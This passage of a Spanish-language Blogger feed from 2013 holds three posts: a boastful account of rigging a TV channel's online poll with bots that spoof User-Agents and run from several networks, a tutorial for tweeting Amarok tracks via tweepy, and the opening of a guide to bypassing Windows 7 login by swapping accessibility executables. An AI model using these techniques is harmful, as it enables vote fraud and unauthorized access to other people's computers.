Pocas líneas, poca maldad y un propósito concreto, una vez hecho esto, deje que la gente votará por quién ellos quisieran (claro había un poco de influencia y tendencias, pero aún así era su&amp;nbsp;decisión&amp;nbsp;jeje).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El resultado del experimento:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToZ5hbR5dSizlMTl2B8mOMhko1HDCnXGGaiUxY9B6rZ3GORO8WkfOlF3G2Nn7f2U0sluGc3gW22LABbg52hAb4xpEzse6s2kvc3i92cSyaSX3UAiTMpRAq2ymvtM7LnZwIuZg28GrSA/s1600/Selecci%C3%B3n_132.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToZ5hbR5dSizlMTl2B8mOMhko1HDCnXGGaiUxY9B6rZ3GORO8WkfOlF3G2Nn7f2U0sluGc3gW22LABbg52hAb4xpEzse6s2kvc3i92cSyaSX3UAiTMpRAq2ymvtM7LnZwIuZg28GrSA/s400/Selecci%C3%B3n_132.png&quot; width=&quot;336&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La teoría estaba probada, yo solo hice creer que al menos &quot;5000&quot; personas respaldaban el programa y la gente hizo lo que yo pensaba, se sumo a lo que la &quot;mayoría&quot; consideraban mejor.&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
El inicio de una guerra&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En las semanas siguientes me abstuve de influenciar las encuestas, sin embargo en está última semana alguien más decidió jugar con los resultados, lo que dio por resultado algo que seguramente el personal del canal no pasará por alto debido a la cantidad de votos con los que terminó la encuesta.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para el día martes 23 de Abril a las 16:39 aproximadamente, la encuesta de la semana iba de la siguiente forma:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILRfc5EaS9sghNVRuhpqRYe8LhykrKmbYQBbrdQmpPrTekn7CDiARUUAZSyL96YEi1-ITXftya-nPMr53uI6sh73VDUyH-HvGBVj1t_fQ7pMSUctuAAObCTeFwo4iWnOsZblX-OAEtg/s1600/Selecci%C3%B3n_136.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILRfc5EaS9sghNVRuhpqRYe8LhykrKmbYQBbrdQmpPrTekn7CDiARUUAZSyL96YEi1-ITXftya-nPMr53uI6sh73VDUyH-HvGBVj1t_fQ7pMSUctuAAObCTeFwo4iWnOsZblX-OAEtg/s400/Selecci%C3%B3n_136.png&quot; width=&quot;328&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Aunque debo reconocer que &quot;El mundo de Beakman&quot; siempre me ha gustado, tanto como un par de monstruos cómo yo queríamos que ganará &quot;Historias Horribles&quot;, que pesé a que tiene poco tiempo al aire ha conseguido mucho publico jeje, cómo iba ganando decidí no intervenir, sin embargo, me dí cuenta de que algo extraño estaba pasando.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Hagamos una consideración llegados a este punto, a 21 horas de iniciada la encuesta la votación estaba como ya se mostró, lo cual indica que tenían una tendencia de 458 / 467 votos por hora, respectivamente, pero eso cambio y para el&amp;nbsp;miércoles&amp;nbsp;por la noche la tendencia mostraba como una clara ganadora a &quot;Historias Horribles&quot; con más de 18000 votos, no es un secreto para nadie que soy un animal de&amp;nbsp;hábitos&amp;nbsp;nocturnos y como había dejado abierta la página, decidí refrescarla y mi sorpresa fue grande, para las 01:49 hrs del jueves 25 de Abril todo había cambiado:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIgEeqSiPd3qO9sG8U6MjjHQIPMEHCbejzgnngtacJ4Ii1WcyE2cqRQKrj_WcsQMCFoczdNwbLO82PsJi3wASXp89HSkm_RkZdyzCrT_hEJsJBxO-QBVWofE3pVQk1FhGRKS1MTWp4YA/s1600/Selecci%C3%B3n_137.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIgEeqSiPd3qO9sG8U6MjjHQIPMEHCbejzgnngtacJ4Ii1WcyE2cqRQKrj_WcsQMCFoczdNwbLO82PsJi3wASXp89HSkm_RkZdyzCrT_hEJsJBxO-QBVWofE3pVQk1FhGRKS1MTWp4YA/s400/Selecci%C3%B3n_137.png&quot; width=&quot;337&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Cerca de las 21 hrs del&amp;nbsp;miércoles&amp;nbsp;24, &quot;Historias Horribles&quot; tenía unos 31000 votos, mientras que &quot;El mundo de Beakman&quot; tenía apenas unos 13000 y unas pocas horas más tarde un milagro había ocurrido, 20000 votos en la madrugada jajajajaja, estaba claro que alguien quería que ganará &quot;El mundo de Beakman&quot;.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Por lo que decidí darle una pequeña ayuda a &quot;Historias Horribles&quot;, pero por alguna razón el mismo truco no funcionó, quizá se habían dado cuenta de su fallo la vez anterior, como sea, si usaba la misma consulta más de 10 veces seguidas, la conexión no terminaba e impedía que las siguientes peticiones fueran hechas, así que pensé en generar mis propias consultas, porque al final eso pasaría inadvertido quizá...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Así que luego de una modificación, para las 08:43 hrs del jueves, la encuesta quedaba así:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPhsY2DcLhkPYQ2xSli8O0ZkGATnr43zH9u96ZgVKdES3k30AUJbaraAfs1O0gGs4zzBM6Js1KpD-0clXSnwlCLPJS0-uL5ilVAKHRThx3dDwbyEucKIMR_1BNJaGBzZ4b2GCBXgKbfw/s1600/Selecci%C3%B3n_138.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPhsY2DcLhkPYQ2xSli8O0ZkGATnr43zH9u96ZgVKdES3k30AUJbaraAfs1O0gGs4zzBM6Js1KpD-0clXSnwlCLPJS0-uL5ilVAKHRThx3dDwbyEucKIMR_1BNJaGBzZ4b2GCBXgKbfw/s400/Selecci%C3%B3n_138.png&quot; width=&quot;352&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Durante el transcurso del día las cosas se mantuvieron más o menos en orden, pero entre las 18:00 y las 19:45 del jueves la votación fue nuevamente alterada con otra inyección de más de 10000 votos, quedando de la siguiente manera:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsMzVbZj6SxBSE4ALMkfT2vMIURCJydVI0H8E_-52_I6P83Jp9PRb1s72FohA9XLDmJgkebkCjxyzAg8uEJvlT1MSXpQpIf2_-FyH_bsEcXa6vvhjudhnCoohll2wwFQTbRov1Z9FrBg/s1600/Selecci%25C3%25B3n_139.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsMzVbZj6SxBSE4ALMkfT2vMIURCJydVI0H8E_-52_I6P83Jp9PRb1s72FohA9XLDmJgkebkCjxyzAg8uEJvlT1MSXpQpIf2_-FyH_bsEcXa6vvhjudhnCoohll2wwFQTbRov1Z9FrBg/s400/Selecci%25C3%25B3n_139.png&quot; width=&quot;378&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Eso ya era demasiado, sin embargo para las 23:00 &quot;El mundo de Beakman&quot; ya tenía más de 69000 votos, así que decidí modificar más el script hasta convertirlo en un pequeño bot, no solo inyectaría votos usando sus propias consultas, ahora cambiaría de &quot;User-Agent&quot;, para fingir ser otro navegador diferente, además de volver a inclinar la balanza lo dejé listo para inyectar poco a poco, usando de la librería time la función sleep(), es decir inyectaría un voto cada &quot;n&quot; segundos, sólo para asegurarme de que todo siguiera en orden jeje, para el viernes a las 01:49 hrs las cosas estaban así jeje, yo había respondido de manera firme a la declaración de guerra...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2jhxVoHUlsM9gLkATYMXpSUqKbDQFJ59BTMGJNfLBid__NTrptFSlIOT096bzfLcmSzKwZR7M2ZxgqSdXy1qj33xOxqLd9NEWMM47dfOr7DlpwEvjRQCyXcDLcCXMYEbEuDZASvvXew/s1600/Selecci%C3%B3n_141.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2jhxVoHUlsM9gLkATYMXpSUqKbDQFJ59BTMGJNfLBid__NTrptFSlIOT096bzfLcmSzKwZR7M2ZxgqSdXy1qj33xOxqLd9NEWMM47dfOr7DlpwEvjRQCyXcDLcCXMYEbEuDZASvvXew/s400/Selecci%C3%B3n_141.png&quot; width=&quot;398&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Victoria?&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Cómo era de esperarse, recibiría una respuesta de parte de un adversario invisible y de quien en realidad sospecho que era el mismo personal de canal once, la respuesta llego en las primeras horas (laborales) de la mañana de hoy, para las 11:40 hrs mis pequeño bot había sufrido un&amp;nbsp;revés...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp9Ds6C90KLBM2P0EawHIO28HHtMKpQHQw1rPugsvKldOQhkX8PDS0OT19x-iI10SfYrhodMFaUMEPHZpwPZ0XP6B8xcWrt7WyMVBaOVIlinmS19eQKDTxqSXb0N214LYTYJg0mBYUjA/s1600/Selecci%C3%B3n_142.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp9Ds6C90KLBM2P0EawHIO28HHtMKpQHQw1rPugsvKldOQhkX8PDS0OT19x-iI10SfYrhodMFaUMEPHZpwPZ0XP6B8xcWrt7WyMVBaOVIlinmS19eQKDTxqSXb0N214LYTYJg0mBYUjA/s400/Selecci%C3%B3n_142.png&quot; width=&quot;355&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Había perdido una batalla pero no la guerra, decidí levantar más bots sin embargo el juego no era limpio, llegado a cierto punto tome el tiempo y cada segundo mi oponente estaba inyectando 7.6 votos, había que tomar medidas&amp;nbsp;drásticas&amp;nbsp;así que recurrí a usar mis bots mediante un par de maquinas virtuales conectadas a diferentes redes, alteré el time.sleep() para que no durmiera más y entonces lance un ataque bastante hostil debo de reconocer, pero para las 13:05 hrs. mis bots (10 en total) ya habían ganado la guerra...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKdfX3DdddT9ZtiiiFEZuB_LxlmOtPF_HcNAp_n12Y-2LjpScy9S2dzhxun8IUK7pZNvwT77mQ9pjYssUjtXJ-jeLXxme5KPgxS2vdDYrPYKXsSoaxX29WpVFZIsQtzyXJWOxACCa-Wg/s1600/Selecci%C3%B3n_144.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKdfX3DdddT9ZtiiiFEZuB_LxlmOtPF_HcNAp_n12Y-2LjpScy9S2dzhxun8IUK7pZNvwT77mQ9pjYssUjtXJ-jeLXxme5KPgxS2vdDYrPYKXsSoaxX29WpVFZIsQtzyXJWOxACCa-Wg/s400/Selecci%C3%B3n_144.png&quot; width=&quot;375&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Mi oponente no se&amp;nbsp;rindió, sin embargo estaba claro que la diferencia entre nuestros bots era inmensa, deje que mis bots a partir de ese momento descansarán nuevamente usando el time.sleep() pero ahora ya no era una sola maquina, ni una misma red, la guerra de los bots fue ganada.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Espero que de esto la gente del canal cambie sus&amp;nbsp;políticas&amp;nbsp;en futuras encuestas, pues aunque hice algo no debido y me siento mal por ello, no es ilegal, pues su campaña dice claramente vota las veces que quieras y su sistema &quot;anti-bots&quot; era sólo un título pretencioso, el resultado final de la guerra...&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiJEyKZpYAweF3AWvm8C_W-ULQOGZHClF__2NcvxwOyeM50s4sMjdT7ZQK36HEl07ErcJtwjHSB4YMUC1ITbDRutrmSs9YQjHl8e8kSxDqi-JDOkM-oVKqiongmyV97vB9A18G5Dp9-A/s1600/Selecci%C3%B3n_145.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiJEyKZpYAweF3AWvm8C_W-ULQOGZHClF__2NcvxwOyeM50s4sMjdT7ZQK36HEl07ErcJtwjHSB4YMUC1ITbDRutrmSs9YQjHl8e8kSxDqi-JDOkM-oVKqiongmyV97vB9A18G5Dp9-A/s400/Selecci%C3%B3n_145.png&quot; width=&quot;360&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Al final en una guerra no hay vencedores, sin embargo me divertí viendo &quot;Historias Horribles&quot; jejeje&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
SaluDoS!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3679922501223814850/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/04/la-guerra-de-los-bots.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3679922501223814850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3679922501223814850'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/04/la-guerra-de-los-bots.html' title='La guerra de los bots'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiToZ5hbR5dSizlMTl2B8mOMhko1HDCnXGGaiUxY9B6rZ3GORO8WkfOlF3G2Nn7f2U0sluGc3gW22LABbg52hAb4xpEzse6s2kvc3i92cSyaSX3UAiTMpRAq2ymvtM7LnZwIuZg28GrSA/s72-c/Selecci%C3%B3n_132.png" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-101088993658890217</id><published>2013-04-23T12:33:00.003-07:00</published><updated>2013-04-23T13:02:05.290-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="actaulizar twitter desde python"/><category scheme="http://www.blogger.com/atom/ns#" term="amarok"/><category scheme="http://www.blogger.com/atom/ns#" term="amarok desde python"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><category scheme="http://www.blogger.com/atom/ns#" term="twitter"/><title type='text'>Actualizar Twitter vía Python con la música reproducida desde Amarok</title><content type='html'>&lt;h3&gt;
&lt;b&gt;Introducción (léase&amp;nbsp;choro del programador)&lt;/b&gt;&lt;/h3&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Hace ya unos meses me comento mi buen amigo @codersoul que otro amigo en común, mantenía actualizado su estado en Twitter con las canciones que reproducía, así que, aunque no soy fan de estar actualizando mi estado con lo que estoy escuchando, me dí cuenta de que tristemente en Linux no había algo parecido, así que pensé en una forma de hacerlo, luego de un poco de investigación y de recolectar info aquí y allá, me decidí a hacerlo mediante Python.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Cabe aclarar que además que lo hice pensando en ser usado con el &quot;Entorno de Escritorio&quot; KDE, por lo que basta con cambiar un par de líneas para que sea perfectamente funcional con cualquier otro &quot;Entorno&quot;, además escogí Amarok, pues es el reproductor que más me acomoda a mi por la gestión de mi música, pero si alguien quiere adaptarlo a otro reproductor ya es cosa suya.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para terminar con todo el choro, el script necesitará llamado twitter.cfg en donde se almacena la información necesaria para que funcione, el archivo en cuestión va adjunto en el &lt;a href=&quot;https://sites.google.com/site/zosemu/tweet_amarok.zip&quot; target=&quot;_blank&quot;&gt;zip&lt;/a&gt; o &lt;a href=&quot;https://sites.google.com/site/zosemu/tweet_amarok.rar&quot; target=&quot;_blank&quot;&gt;rar&lt;/a&gt; que he subido, sólo deben estar en la misma carpeta o poner la ruta completa a donde lo pongan (para los más puritanos pueden cambiar los permisos del archivo por 600).&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;h3&gt;
Preparación&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo primero será ingresar a&amp;nbsp;&lt;a href=&quot;https://dev.twitter.com/apps&quot;&gt;https://dev.twitter.com/apps&lt;/a&gt; con el usuario que hayan designado para crear su bot, en este caso yo use el mío porque la idea era actualizar mi estado y no el de alguien más. Una vez hecho esto nos vamos a crear una aplicación, aunque realmente no importa mucho el nombre que le den a la aplicación, procuren que sea algo acorde al&amp;nbsp;propósito.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Lo importante de esto es conseguir los datos necesarios para enlazar el script con su cuenta, esos datos son: &quot;Consumer key, Consumer secret, Access token, Access token secret&quot;, ojo con esto a la hora de generar el Access token, deben verificar que esté en modo de Lectura/Escritura, bueno les dejo una&amp;nbsp;imagen&amp;nbsp;para que se den una idea.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglfC_XTOppnpiM1IjSibIqJdxNZhLGx4aqJZaw7ZROuNov1pSesgZvwvNaLeDgB7B0KLW8_hf9nkmO-KIAB-4NuT5DiV_f8sTCkfSUvOopgft5TOkLcTDxbvmJBySNqEZ6cLFieUIr9w/s1600/python_amarok.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;248&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglfC_XTOppnpiM1IjSibIqJdxNZhLGx4aqJZaw7ZROuNov1pSesgZvwvNaLeDgB7B0KLW8_hf9nkmO-KIAB-4NuT5DiV_f8sTCkfSUvOopgft5TOkLcTDxbvmJBySNqEZ6cLFieUIr9w/s400/python_amarok.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Una vez conseguidos esos datos hay que verificar que tengamos instalada la Api &quot;tweepy&quot;, en el caso de los que tengan Debian o similares &quot;&lt;span style=&quot;background-color: #999999;&quot;&gt;&lt;i&gt;sudo apt-get install -y python-tweepy&lt;/i&gt;&lt;/span&gt;&quot;.&lt;br /&gt;
&lt;br /&gt;
Bueno eso sería todo, los valores obtenidos hay que ponerlos en el archivo llamado twitter.cfg y eso sería todo.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Finalizando&lt;/h3&gt;
Ahora ya sólo resta ejecutar el script, en caso de que quieran actualizar su estado en otro idioma, tendrían que cambiar el valor de las variables en el mismo archivo .cfg y en caso de no usar KDE, pueden comentar las líneas señaladas.&lt;br /&gt;
&lt;br /&gt;
SaluDoS!!!&lt;br /&gt;
&lt;br /&gt;
P.D.&lt;br /&gt;
Si tienen dudas pueden publicarlo aquí mismo a modo de comentario y si hacen mejoras les agradecería&amp;nbsp;hacérmelo&amp;nbsp;saber a mi correo.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/101088993658890217/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2013/04/actualizar-twitter-via-python-con-la.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/101088993658890217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/101088993658890217'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2013/04/actualizar-twitter-via-python-con-la.html' title='Actualizar Twitter vía Python con la música reproducida desde Amarok'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglfC_XTOppnpiM1IjSibIqJdxNZhLGx4aqJZaw7ZROuNov1pSesgZvwvNaLeDgB7B0KLW8_hf9nkmO-KIAB-4NuT5DiV_f8sTCkfSUvOopgft5TOkLcTDxbvmJBySNqEZ6cLFieUIr9w/s72-c/python_amarok.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-3368361643374860925</id><published>2013-03-30T20:40:00.001-07:00</published><updated>2013-05-24T13:06:35.867-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="acceder a windows sin contraseña"/><category scheme="http://www.blogger.com/atom/ns#" term="acceso windows 7 sin contraseña"/><category scheme="http://www.blogger.com/atom/ns#" term="cambiar contraseña de administrador"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>Automatizando la entrada no autorizada a Windows7</title><content type='html'>En el post anterior se mostró como conseguir acceso a Windows 7 y Windows 8, sin embargo el uso de &quot;sethc.exe&quot; no es la única alternativa, si analizamos un poco cómo funcionan las &quot;Opciones de Accesibilidad&quot; de Windows, nos daremos cuenta de que al menos contamos con otras tres alternativas, &quot;la Lupa&quot; (Magnify.exe), &quot;el Narrador&quot; (Narrator.exe) y &quot;el Teclado en Pantalla&quot; (osk.exe).&lt;br /&gt;
&lt;br /&gt;
